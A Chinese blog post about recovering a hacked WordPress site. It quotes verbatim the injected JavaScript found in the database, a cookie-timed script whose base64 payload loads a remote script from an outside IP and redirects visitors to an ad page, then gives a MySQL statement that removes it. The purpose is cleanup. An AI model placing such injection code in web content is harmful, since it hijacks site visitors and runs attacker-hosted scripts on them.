MySQL批量替换HTML标签

2.8k PHP教程 发表评论

1 前因

前段时间维护的一个WordPress小网站被黑,分析源码发现内容中多出了一段JavaScript代码:

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

访问页面的时候,会跳转到黑客的广告页面:

https://cobalten.com/afu.php?zoneid=1365143&var=1460425

经过追踪,最后发现是在MySQL中被注入了以上代码,所以需要在tmpe04d7e_posts表中把这些内容都替换掉

(当然后来加强了这个网站的安全防范)

2 解决

我们知道MySQL中无法用正则替换,后来在一个博客中找到解决方法,博客链接放在文末。

具体语句如下:

update tmpe04d7e_posts set post_content = replace(
	post_content,
	substring(
		post_content,
		locate('<!--codes_iframe-->', post_content),
		locate('<!--/codes_iframe-->', post_content) + LENGTH('<!--/codes_iframe-->') - locate('<!--codes_iframe-->', post_content)
	),
	''
 );

为了好看,语句加了格式化。

执行一下问题解决了。

3 用到函数

 

参考资料:

  1. mysql 正则表达式替换内容

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

昵称 *